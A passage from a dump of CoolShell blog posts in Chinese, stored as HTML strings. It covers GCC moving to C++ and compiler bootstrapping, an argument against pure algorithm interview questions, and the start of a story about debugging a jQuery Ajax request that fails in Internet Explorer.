算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17225.html\"><img alt=\"Cuckoo Filter：设计与实现\" height=\"150\" src=\"../wp-content/uploads/2015/08/cuckoo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11832.html\"><img alt=\"【活动】解迷题送礼物\" height=\"150\" src=\"../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10590.html\"><img alt=\"二维码的生成细节和原理\" height=\"150\" src=\"../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10590.html\">二维码的生成细节和原理</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8052.html\">K Nearest Neighbor 算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-8-20 GCC 用 C++ 来编译.html",
    "content": "<html><body><p>GCC在2012年8月15日的时候，merge了一个patch – <a href=\"http://gcc.gnu.org/git/?p=gcc.git;a=commitdiff;h=2b15d2ba7eb3a25dfb15a7300f4ee7a141ee8539\" target=\"_blank\">Merge from cxx-conversion branch</a>，这意味着，以后在GCC的编译只能用C++的编译器了，也意味着，gcc的实现代码开始转向C++了。</p>\n<p>你可能会有两个问题，</p>\n<ul>\n<li>一个问题是为什么GCC要转成C++的实现？</li>\n</ul>\n<ul>\n<li>没有C++的编译器，我怎么编译C++编译器的代码？这不是“鸡生蛋还是蛋生鸡”的问题么？</li>\n</ul>\n<p>那，我们来看一看吧。</p>\n<h4>为什么要用C++</h4>\n<p>在<a href=\"http://gcc.gnu.org/wiki/cxx-conversion\" target=\"_blank\">GNU的C++ Conversion文档</a>中，我们可以在Background中看到这样的描述：</p>\n<blockquote><p>Whether we use C or C++, we need to try to ensure that interfaces are easy to understand, that the code is reasonably modular, that the internal documentation corresponds to the code, that it is possible for new developers to write new passes and to fix bugs. Those are the important issues for us to consider. The C++ features which are not present in C — features which are well documented in many books and many web sites — are not an important issue.</p></blockquote>\n<p>这句话的意思可以理解为，今天GCC在用C语言的实现已经有点hold不住了，因为，开发人员觉得，不管我们用C或C++，都需要努力确保接口是容易理解的，这样我们的代码是想当理性地被模块化的，这样内部文档和代码一致，这样可以更好地组织代码，这样有利于新人了fix-bug。而C++正好可以让他们更好的完成这些东西。</p>\n<p>GNU还给出了下面这些理由：</p>\n<p><span id=\"more-8115\"></span></p>\n<ul>\n<li>C++ 是一种标准化的，大众的，流行的语言。</li>\n<li>C++ 是C90的超集。</li>\n<li>C++作为C的扩展和C在性能上一样好。</li>\n<li>C++ 在一些有意义的案例上支持更干净的代码。</li>\n<li>C++ 让你更容易去写一个更干净的接口。</li>\n<li>C++ 永远不会让你的代码变得更丑。</li>\n<li>C++ 不是万灵药，他是C的一个改进。</li>\n</ul>\n<p>然后，给了一个PDF <a href=\"http://airs.com/ian/cxx-slides.pdf\">http://airs.com/ian/cxx-slides.pdf</a>，这是Google 的<a href=\"http://airs.com/ian/\" target=\"_blank\"> Ian Lance Taylor</a>的的一个PPT，这个文档可以让大家更好地理解我在《<a href=\"https://coolshell.cn/articles/7992.html\" target=\"_blank\" title=\"C++的坑真的多吗？\">C++的坑多吗？</a>》一文中那些观点。<strong>我都不知道我要说多少遍C++的封装，继承和多态比C语言在代码组织上要好得多得多</strong>。大家还是自己看一下代码吧：</p>\n<p><strong><span style=\"color: #800000;\">数据结构的操作</span> —— </strong>你写的一定不会有STL好</p>\n<p style=\"padding-left: 30px;\"><strong><a href=\"https://coolshell.cn/wp-content/uploads/2012/08/VEC-vs-vector.jpg\"><img alt=\"\" class=\"size-full wp-image-8119 alignnone\" height=\"343\" src=\"../wp-content/uploads/2012/08/VEC-vs-vector.jpg\" title=\"VEC vs vector\" width=\"542\"/></a></strong></p>\n<p><span style=\"color: #800000;\"><strong>结构套结构还是继承？</strong></span></p>\n<p style=\"padding-left: 30px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/08/tree-structure.jpg\"><img alt=\"\" class=\"wp-image-8118 alignnone\" height=\"550\" src=\"../wp-content/uploads/2012/08/tree-structure.jpg\" title=\"tree-structure\" width=\"629\"/></a></p>\n<p><span style=\"color: #800000;\"><strong>函数指针还是多态？</strong></span></p>\n<div style=\"padding-left: 30px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/08/TARGET-vs-Target.jpg\"><img alt=\"\" class=\"wp-image-8117 alignnone\" height=\"470\" src=\"../wp-content/uploads/2012/08/TARGET-vs-Target.jpg\" title=\"TARGET vs Target\" width=\"391\"/></a></div>\n<p><span style=\"color: #800000;\"><strong>垃圾回收 还是 智能指针？</strong></span></p>\n<div style=\"padding-left: 30px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/08/GC-vs-Smart-Pointer.jpg\"><img alt=\"\" class=\"wp-image-8116 alignnone\" height=\"337\" src=\"../wp-content/uploads/2012/08/GC-vs-Smart-Pointer.jpg\" title=\"GC vs Smart Pointer\" width=\"473\"/></a></div>\n<p><span style=\"color: #800000;\"><strong>Why not C++? </strong></span></p>\n<ul>\n<li><strong>C++慢吗</strong>？某些特性会慢，但是有时C++更快，你可以只用你喜欢的C++特性。</li>\n<li><strong>C++复杂吗？</strong>它只不过是另一种编程语言，他可以让你对程序员维护更简单。</li>\n<li><strong>FSF不喜欢C++！</strong>因为FSF（自由软件基金会）这些人不写代码。</li>\n</ul>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/08/Why-not-C++.jpg\"><img alt=\"\" class=\"aligncenter wp-image-8120\" height=\"418\" src=\"../wp-content/uploads/2012/08/Why-not-C++.jpg\" title=\"Why not C++\" width=\"478\"/></a></p>\n<div></div>\n<h4>Bootstrapping</h4>\n<p>最后，我想来介绍一下<a href=\"http://en.wikipedia.org/wiki/Bootstrapping_%28compilers%29\" target=\"_blank\">Bootstrapping</a>。 所谓Bootstrapping，就是用自己这个语言写编译器来编译自己，也就是说如果你要编译gcc，你需要用一个c的编译器来编译之，这个就是bootstrapped process，自举过程。包括 <a href=\"http://en.wikipedia.org/wiki/BASIC\" title=\"BASIC\">BASIC</a>, <a href=\"http://en.wikipedia.org/wiki/Algol\" title=\"Algol\">Algol</a>, <a href=\"http://en.wikipedia.org/wiki/C_(programming_language)\" title=\"C (programming language)\">C</a>, <a href=\"http://en.wikipedia.org/wiki/C%2B%2B\" title=\"C++\">C++</a>, <a href=\"http://en.wikipedia.org/wiki/Pascal_programming_language\" title=\"Pascal programming language\">Pascal</a>, <a href=\"http://en.wikipedia.org/wiki/PL/I\" title=\"PL/I\">PL/I</a>, <a href=\"http://en.wikipedia.org/wiki/Factor_programming_language\" title=\"Factor programming language\">Factor</a>, <a href=\"http://en.wikipedia.org/wiki/Haskell_(programming_language)\" title=\"Haskell (programming language)\">Haskell</a>, <a href=\"http://en.wikipedia.org/wiki/Modula-2\" title=\"Modula-2\">Modula-2</a>, <a href=\"http://en.wikipedia.org/wiki/Oberon_programming_language\" title=\"Oberon programming language\">Oberon</a>, <a href=\"http://en.wikipedia.org/wiki/OCaml\" title=\"OCaml\">OCaml</a>,<a href=\"http://en.wikipedia.org/wiki/Common_Lisp\" title=\"Common Lisp\">Common Lisp</a>, <a href=\"http://en.wikipedia.org/wiki/Scheme_(programming_language)\" title=\"Scheme (programming language)\">Scheme</a>, <a href=\"http://en.wikipedia.org/wiki/Java_(programming_language)\" title=\"Java (programming language)\">Java</a>, <a href=\"http://en.wikipedia.org/wiki/Python_(programming_language)\" title=\"Python (programming language)\">Python</a>, <a href=\"http://en.wikipedia.org/wiki/Scala_(programming_language)\" title=\"Scala (programming language)\">Scala</a> 等语言都这么干。</p>\n<p>这样干的好处主要是，自己可以测试自己，编译器的改善和语言的改善相辅相成。</p>\n<p>但是，这是一个“鸡生蛋，还是蛋生鸡”的问题，如果你需要用X语言来写一个X语言编译器的语言，你可以这样干：</p>\n<ul>\n<li>用Y语言来实现X的语言解释器或编译器。 <a href=\"http://en.wikipedia.org/wiki/Niklaus_Wirth\" title=\"Niklaus Wirth\">Niklaus Wirth</a> 说 <a href=\"http://en.wikipedia.org/wiki/Pascal_programming_language\" title=\"Pascal programming language\">Pascal</a> 的第一个编译器是由 <a href=\"http://en.wikipedia.org/wiki/Fortran\" title=\"Fortran\">Fortran</a> 写的。</li>\n<li>已存在用Y语言写的X语言的编译器或解释器。<a href=\"http://en.wikipedia.org/wiki/Scheme_(programming_language)\" title=\"Scheme (programming language)\">Scheme</a> 就是这么干的。</li>\n<li>已经有一个编译器来编译一个早期版本的X语言，然后就可以用早期版本的X语言来编译新版本的X语言了。<a href=\"http://en.wikipedia.org/wiki/Java_(programming_language)\" title=\"Java (programming language)\">Java</a>，<a href=\"http://en.wikipedia.org/wiki/Haskell_(programming_language)\" title=\"Haskell (programming language)\">Haskell</a>, 和最初版的 <a href=\"http://en.wikipedia.org/wiki/Free_Pascal\" title=\"Free Pascal\">Free Pascal</a> 就是这么干的。</li>\n<li>X在某平台上的编译器已经存在，可以使用交叉编译技术来编译另一个平台上X语言，C语言就是这么干的。</li>\n<li>用X语言写一个编译器，然后手动编译之（不需要特别优化），（注：手动编译估计就是手动翻译成机器汇编代码），然后再运行这个手动编译的编译器来编译这个编译器的源码，并优化之。<a href=\"http://en.wikipedia.org/wiki/Donald_Knuth\" title=\"Donald Knuth\">Donald Knuth</a> 在他的 <a href=\"http://en.wikipedia.org/wiki/WEB\" title=\"WEB\">WEB</a> <a href=\"http://en.wikipedia.org/wiki/Literate_programming\" title=\"Literate programming\">literate programming</a> 系统里用到了这个方法。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8115.html\">GCC 用 C++ 来编译</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-8-22 为什么我反对纯算法面试题.html",
    "content": "<html><body><p>算法面试可能是微软搞出来的面试方法，现在很多公司都在效仿，而且我们的程序员也乐于解算法题，我个人以为，这是应试教育的毒瘤！我在《<a href=\"https://coolshell.cn/articles/4506.html\" title=\"再谈“我是怎么招聘程序员的”（上）\">再谈“我是怎么招程序员”</a>》中比较保守地说过，“<strong>问难的算法题并没有错，错的很多面试官只是在肤浅甚至错误地理解着面试算法题的目的</strong>。”，今天，我想加强一下这个观点——<strong>我反对纯算法题面试</strong>！（注意，我说的是纯算法题）</p>\n<figure class=\"wp-caption alignright\" id=\"attachment_8140\" style=\"width: 250px;\"><a href=\"http://en.wikipedia.org/wiki/Sheldon_Cooper\"><img alt=\"\" class=\"size-full wp-image-8140\" height=\"333\" src=\"../wp-content/uploads/2012/08/250px-Sheldon_Cooper.jpg\" title=\"Sheldon_Cooper\" width=\"250\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-8140\">图片源Wikipedia（点击图片查看词条）</figcaption></figure>\n<p>我再次引用我以前的一个观点——</p>\n<p style=\"padding-left: 30px;\">能解算法题并不意味着这个人就有能力就能在工作中解决问题，你可以想想，小学奥数题可能比这些题更难，但并不意味着那些奥数能手就能解决实际问题。</p>\n<p>好了，让我们来看一个示例（这个示例是昨天在<a href=\"http://weibo.com/1401880315/yy9pvgNi2\" target=\"_blank\">微博上的一个讨论</a>），这个题是——“<strong>找出无序数组中第2大的数</strong>”，几乎所有的人都用了O(n)的算法，我相信对于我们这些应试教育出来的人来说，不用排序用O(n)算法是很正常的事，连我都不由自主地认为O(n)算法是这个题的标准答案。<strong>我们太习惯于标准答案了，这是我国教育最悲哀的地方</strong>。（广义的洗脑就是让你的意识依赖于某个标准答案，然后通过给你标准答案让你不会思考而控制你）</p>\n<h4>功能性需求分析</h4>\n<p>试想，如果我们在实际工作中得到这样一个题 我们会怎么做？我一定会分析这个需求，因为我害怕需求未来会改变，今天你叫我找一个第2大的数，明天你找我找一个第4大的数，后天叫我找一个第100大的数，我不搞死了。需求变化是很正常的事。分析完这个需求后，我会很自然地去写找第K大数的算法——难度一下子就增大了。</p>\n<p><span id=\"more-8138\"></span></p>\n<p>很多人会以为找第K大的需求是一种“过早扩展”的思路，不是这样的，我相信我们在实际编码中写过太多这样的程序了，你一定不会设计出这样的函数接口—— Find2ndMaxNum(int* array, int len)，就好像你不会设计出 DestroyBaghdad(); 这样的接口，而是设计一个DestoryCity( City&amp; ); 的接口，而把Baghdad当成参数传进去！所以，你应该是声明一个叫FindKthMaxNum(int* array, int len, int kth)，把2当成参数传进去。<strong>这是最基本的编程方法，用数学的话来说，叫代数</strong>！最简单的需求分析方法就是把需求翻译成函数名，然后看看是这个接口不是很二？！</p>\n<p>（注：不要纠结于FindMaxNum()或FindMinNum()，因为这两个函数名的业务意义很清楚了，不像Find2ndMaxNum()那么二）</p>\n<h4>非功能性需求分析</h4>\n<p>性能之类的东西从来都是非功能性需求，对于算法题，我们太喜欢研究算法题的空间和时间复杂度了。我们希望做到空间和时间双丰收，这是算法学术界的风格。所以，<strong>习惯于标准答案的我们已经失去思考的能力，只会机械地思考算法之内的性能，而忽略了算法之外的性能</strong>。</p>\n<p>如果题目是——“从无序数组中找到第K个最大的数”，那么，我们一定会去思考用O(n)的线性算法找出第K个数。事实上，也有线性算法——STL中可以用nth_element求得类似的第n大的数，其利用快速排序的思想，从数组S中随机找出一个元素X，把数组分为两部分Sa和Sb。Sa中的元素大于等于X，Sb中元素小于X。这时有两种情况：1）Sa中元素的个数小于k，则Sb中的第k-|Sa|个元素即为第k大数；2） Sa中元素的个数大于等于k，则返回Sa中的第k大数。时间复杂度近似为O(n)。</p>\n<p>搞学术的nuts们到了这一步一定会欢呼胜利！但是他们哪里能想得到性能的需求分析也是来源自业务的！</p>\n<p><strong>我们一说性能，基本上是个人都会问，请求量有多大？如果我们的FindKthMaxNum()的请求量是m次，那么你的这个每次都要O(n)复杂度的算法得到的效果就是O(n*m)，这一点，是书呆子式的学院派人永远想不到的。</strong>因为应试教育让我们不会从实际思考了。</p>\n<h4>工程式的解法</h4>\n<p>根据上面的需求分析，有软件工程经验的人的解法通常会这样：</p>\n<p style=\"padding-left: 30px;\">1）把数组排序，从大到小。</p>\n<p style=\"padding-left: 30px;\">2）于是你要第k大的数，就直接访问 array[k]。</p>\n<p>排序只需要一次，O(n*log(n))，然后，接下来的m次对FindKthMaxNum()的调用全是O(1)的，整体复杂度反而成了线性的。</p>\n<p>其实，上述的还不是工程式的最好的解法，因为，在业务中，那数组中的数据可能会是会变化的，所以，如果是用数组排序的话，有数据的改动会让我重新排序，这个太耗性能了，如果实际情况中会有很多的插入或删除操作，那么可以考虑使用B+树。</p>\n<p>工程式的解法有以下特点：</p>\n<p style=\"padding-left: 30px;\">1）很方便扩展，因为数据排好序了，你还可以方便地支持各种需求，如从第k1大到k2大的数据（那些学院派写出来的代码在拿到这个需求时又开始挠头苦想了）</p>\n<p style=\"padding-left: 30px;\">2）规整的数据会简化整体的算法复杂度，从而整体性能会更好。（公欲善其事，必先利其器）</p>\n<p style=\"padding-left: 30px;\">3）代码变得清晰，易懂，易维护！（学院派的和STL一样的近似O(n)复杂度的算法没人敢动）</p>\n<h4>争论</h4>\n<p>你可能会和我有以下争论，</p>\n<ul>\n<li><strong>如果程序员做这个算法题用排序的方式，他一定不会像你想那么多</strong>。是的，你说得对。但是我想说，很多时候，我们直觉地思考，恰恰是正确的路。因为“排序”这个思路符合人类大脑处理问题的方式，而使用学院派的方式是反大脑直觉的。反大脑直觉的，通常意味着晦涩难懂，维护成本上升。</li>\n</ul>\n<ul>\n<li><strong>就是一道面试题，我就是想测试一下你的算法技能，这也扯太多了</strong>。没问题，不过，我们要清楚我们是在招什么人？是一个只会写算法的人，还是一个会做软件的人？这个只有你自己最清楚。</li>\n</ul>\n<ul>\n<li><strong>这个算法题太容易诱导到学院派的思路了</strong>。是的这道“找出第K大的数”，其实可以变换为更为业务一点的题目——“<strong>我要和别的商户竞价，我想排在所有竞争对手报价的第K名，请写一个程序，我输入K，和一个商品名，系统告诉我应该订多少价？</strong>（商家的所有商品的报价在一数组中）”——业务分析，整体性能，算法，数据结构，增加需求让应聘者重构，这一个问题就全考了。</li>\n</ul>\n<ul>\n<li><strong><span style=\"color: #ff0000;\">你是不是在说算法不重要，不用学？</span></strong>千万别这样理解我，搞得好像如果面试不面，我就可以不学。<strong>算法很重要，算法题能锻炼我们的思维，而且也有很多实际用处</strong>。我这篇文章不是让大家不要去学算法，这是完全错误的，我是让大家带着业务问题去使用算法。问你业务问题，一样会问到算法题上来。</li>\n</ul>\n<h4>小结</h4>\n<p>看过这上面的分析，我相信你明白我为什么反对纯算法面试题了。原因就是<strong>纯算法的面试题根本不能反应一个程序的综合素质</strong>！</p>\n<p>那么，在面试中，我们应该要考量程序员的那些综合素质呢？我以为有下面这些东西：</p>\n<ol>\n<li>会不会做需求分析？怎么理解问题的？</li>\n<li>解决问题的思路是什么？想法如何？</li>\n<li>会不会对基础的算法和数据结构灵活运用？</li>\n</ol>\n<p>另外，我们知道，对于软件开发来说，在工程上，难是的下面是这些挑战：</p>\n<ul>\n<li>软件的维护成本远远大于软件的开发成本。</li>\n<li>软件的质量变得越来越重要，所以，测试工作也变得越来越重要。</li>\n<li>软件的需求总是在变的，软件的需求总是一点一点往上加的。</li>\n<li>程序中大量的代码都是在处理一些错误的或是不正常的流程。</li>\n</ul>\n<p>所以，对于编程能力上，我们应该主要考量程序员的如下能力：</p>\n<ol>\n<li>设计是否满足对需求的理解，并可以应对可能出现的需求变化。</li>\n<li>程序是否易读，易维护？</li>\n<li>重构代码的能力如何？</li>\n<li>会不会测试自己写好的程序？</li>\n</ol>\n<p>所以，这段时间，我越来越倾向于问应聘者一些有业务意义的题，而且应增加或更改需求来看程序员的重构代码的能力，写完程序后，让应聘者设计测试案例。</p>\n<p>比如：解析加减乘除表达式，字符串转数字，洗牌程序，口令生成器，通过ip地址找地点，英汉词典双向检索……</p>\n<p><strong>总之，我反对纯算法面试题！</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8790.html\"><img alt=\"程序算法与人生选择\" height=\"150\" src=\"../wp-content/uploads/2012/12/choice-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8790.html\">程序算法与人生选择</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4976.html\"><img alt=\"给程序员新手的一些建议\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4976.html\">给程序员新手的一些建议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4506.html\"><img alt=\"再谈“我是怎么招聘程序员的”（上）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4506.html\">再谈“我是怎么招聘程序员的”（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4490.html\"><img alt=\"再谈“我是怎么招聘程序员的”（下）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4490.html\">再谈“我是怎么招聘程序员的”（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3345.html\"><img alt=\"140个Google的面试题\" height=\"150\" src=\"../wp-content/uploads/2010/12/googlequestion-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3345.html\">140个Google的面试题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8138.html\">为什么我反对纯算法面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-8-27 一次Ajax查错的经历.html",
    "content": "<html><body><p>先说故事，再说想法吧。</p>\n<p>我有一朋友做网站，用jQuery的Ajax方法从后端载入一段HTML代码然后动态插入到网页的Div元件中。这个东西太普遍了。jQuery强大的load方法可以完成这个事情。朋友的代码是这么写的：</p>\n<p>[javascript]var tab = jQuery(\"#dynamic_tab\");<br/>\nvar url = \"/list_ajax/\";<br/>\ntab.load(url);[/javascript]</p>\n<p>简单到不能再简单了。在Chrome，Firefox，Safari下运行一点问题也没有，只有IE不行，不管是IE7，IE8，还是IE9。问题的症壮是，使用IE访问那个Ajax的链接，没有问题，但是在jQuery的Ajax方法返回了“undefined”的respons对象。没有任何报错！</p>\n<p>怎么搞也搞不定，只好Google了一下——“<a href=\"https://www.google.com/#hl=zh-CN&amp;newwindow=1&amp;site=&amp;source=hp&amp;q=jQuery+load+IE&amp;btnK=Google+%E6%90%9C%E7%B4%A2&amp;oq=jQuery+load+IE\" target=\"_blank\">jQuery load IE</a>”，一看，很多人都在问这个问题。于是开始了<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\" title=\"各种流行的编程风格\">散弹枪编程方式</a>。</p>\n<p>排在第一的就是StackOverflow被浏览了33K次的这个问题：<a href=\"http://stackoverflow.com/questions/1061525/jquerys-load-not-working-in-ie-but-fine-in-firefox-chrome-and-safari\" target=\"_blank\">jQuery’s .load() not working in IE – but fine in Firefox, Chrome and Safari</a>，答案没有被打勾（不靠谱），StackOverflow还有很多人问相似的问题，不过都没有答案。不管三七二十一，先试了一下，散弹枪嘛。试了半天都没有用。</p>\n<p>然后上Google查，又看到有人说的IE缓存的问题，什么，要把cache设置成false，或是用下面的方法来解决：</p>\n<p>[javascript]var tab = jQuery(\"#dynamic_tab\");<br/>\nvar fuckie = Math.random();<br/>\nvar url = \"/list_ajax/\"+\"?fuckie=\"+fuckie;<br/>\ntab.load(url);[/javascript]</p>\n<p>反正还是一样，统统不Work，几乎所有的都试了，都不Work。搞了一天的朋友恼怒道：“Microsoft应该快点倒闭吧，产品太烂了”。IE的确是太烂了。</p>\n<p><span id=\"more-8170\"></span></p>\n<p>于是我用IE9的网页调试器可以看到点了Ajax的链接后，<strong>IE对网站有http的Ajax请求，也可以看到请求返回了，但是就是不显示在我的页面上——jQuery的Ajax的responseText为undefined!</strong></p>\n<p>对于我这个老家伙，对jQuery也不熟，我只得开始调试jQuery的代码，想看看里面干了什么，报了什么错？调了一个小时，基本上把jQuery的Ajax的封装看懂了七七八八了，但是还是没找到为什么有问题。</p>\n<p>于是，我只得架起原生态的Ajax，看看IE的那个Ajax的ActiveX的对象干了什么事？写了下面的代码（当年写Ajax就是这么写的，所以也不费劲，况且网上还有例程可以抄）：</p>\n<p>[javascript]<br/>\nfunction InitAjax()<br/>\n{<br/>\n    var ajax=false;<br/>\n    try {<br/>\n        ajax = new ActiveXObject(\"Msxml2.XMLHTTP\");<br/>\n    } catch (e) {<br/>\n        try {<br/>\n            ajax = new ActiveXObject(\"Microsoft.XMLHTTP\");<br/>\n        } catch (E) {<br/>\n            ajax = false;<br/>\n        }<br/>\n    }<br/>\n    if (!ajax &amp;&amp; typeof XMLHttpRequest!=’undefined’) {<br/>\n        ajax = new XMLHttpRequest();<br/>\n    }<br/>\n    return ajax;<br/>\n}</p>\n<p>var ajax = InitAjax();<br/>\najax.open(\"GET\", url, true);<br/>\najax.onreadystatechange = function() {<br/>\n    if (ajax.readyState == 4 &amp;&amp; ajax.status == 200) {<br/>\n        var show = document.getElementById(\"HaoChenDIV\").value;<br/>\n        show.innerHTML = ajax.responseText;<br/>\n    }<br/>\n}<br/>\najax.send(null);<br/>\n[/javascript]</p>\n<p>一运行，还是不行，没见IE报什么错，不过，可以确定这不是jQuery的问题了，估计还是我们自己程序的问题。不过此时的程序太好调试了，调试中，在IE9下调式发现原生的IE的Ajax对象在onreadystatechange函数里，其responseText是下面这个样子：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-8171\" height=\"153\" src=\"../wp-content/uploads/2012/08/ajax_error.jpg\" title=\"ajax error in ie\" width=\"601\"/></p>\n<p>什么是“<strong>系统错误: -1072896658</strong>”？上<a 